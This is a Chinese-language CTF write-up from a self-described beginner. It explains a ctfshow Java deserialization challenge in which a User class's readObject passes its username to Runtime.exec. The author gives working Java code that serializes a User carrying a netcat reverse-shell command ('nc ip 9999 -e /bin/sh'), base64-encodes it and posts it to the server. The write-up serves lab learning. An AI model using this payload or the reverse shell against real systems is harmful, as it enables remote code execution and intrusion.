一、题目分析
学习java的不知道第几天,还是菜,今天来把ctfshow的题目刷刷然后写写记录吧。有什么不对的欢迎指正。
给了我们源码,看index里面,先是创建一个user类,空的,然后对传入的参数userData进行base64加密,虽然我是第一次见这个函数,但是这个名字就,哈哈哈,是base64没错了。
然后创建一个对象输入流,(这里我对什么输出流、输入流还是分不清。这次做完题看完代码之后总算是 分清了。)传入的参数是一个字节数组输入流,字节数组输入流里面传入的是一个字节数组。创建好之后去调用readObject方法,这个方法就是反序列化,类似于php的unserialize函数,不过java是面向对象的,所以需要先创建对象。然后强制转化为User类,其中任何一步出错都会进入异常,返回base64 decode error。
package com.ctfshow.controller;
@Controller
@RequestMapping("/")
public class IndexController {
@RequestMapping(value = "/",method = RequestMethod.POST)
@ResponseBody
public String index(HttpServletRequest request){
User user=null;
try {
byte[] userData = Base64.getDecoder().decode(request.getParameter("userData"));
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(userData));
user = (User) objectInputStream.readObject();
}catch (Exception e){
return "base64 decode error";
}
return "unserialize done, you username is "+user.getName();
}
@RequestMapping(value = "/",method = RequestMethod.GET)
@ResponseBody
public String index(){
return "plz post parameter 'userData' to unserialize";
}
}
package com.ctfshow.entity;
public class User implements Serializable {
private static final long serialVersionUID = -3254536114659397781L;
private String username;
public User(String username) {
this.username = username;
}
public String getName(){
return this.username;
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec(this.username);
}
}
下面就是一个User类,只有继承了Serializable才能进行反序列化(如果没继承的话,反射可以绕过,不过我不是很懂,就只调试过一次,然后差不多也忘了,哈哈。),我们可以看到有一个readObject方法,是不是和之前的readObject方法一样,调用的就是这里,类似于php的__destruct,一个反序列化的入口点,可以看到里面是执行系统命令的,参数为username,到这里我们就能想到,创建一个User类,使他的username为我们需要执行的命令,然后去反序列化,再base64加密,然后传入就能执行我们想要的命令了。
二、写代码咯
这里有一个坑,我是新手,才知道的,就java反序列化的时候会解析包名的,所以我们本地创建类的时候是需要设置好包路径的,不能错,不然服务器找不到那个类呢。
代码如下,第一行就是创建User类了,然后传入的是username
后面是一个函数,其实这里不用创建函数,之前也讲了,我不清楚这个输入输出,就去网上找了一个函数,我们来看一下函数里面,先是创建一个字节数组输出流,我们需要把字节数组输出流放入对象输出流,然后这个对象输出流就创建好了,然后调用writeObject方法,这个就是序列化的函数了,因为bo时候一个字节数组输出流,可以调用toByteArray方法来转化为字节数组,然后函数就结束,然后接着就是对字节数组进行一个base64加密,然后再使用for循环输出,这就是payload。
User a = new User("nc ip 9999 -e /bin/sh");
byte[] bytes = ObjectToByte(a);
byte[] userData = Base64.getEncoder().encode(bytes);
for(int x= 0 ; x < userData.length; x++) {
// 打印字符
System.out.print((char)userData[x]);
}
public static byte[] ObjectToByte(Object obj) {
byte[] bytes = null;
try {
// object to bytearray
ByteArrayOutputStream bo = new ByteArrayOutputStream();
ObjectOutputStream oo = new ObjectOutputStream(bo);
oo.writeObject(obj);
bytes = bo.toByteArray();
bo.close();
oo.close();
} catch (Exception e) {
e.printStackTrace();
}
return bytes;
}
然后服务器监听,burp发包就可以了。
三、总结
1、 对对象输入输出流的认识有了一点点新的认识。
2、对序列化和反序列化有了一点新的认识。
3、明白了反序列化需要对应包路径的。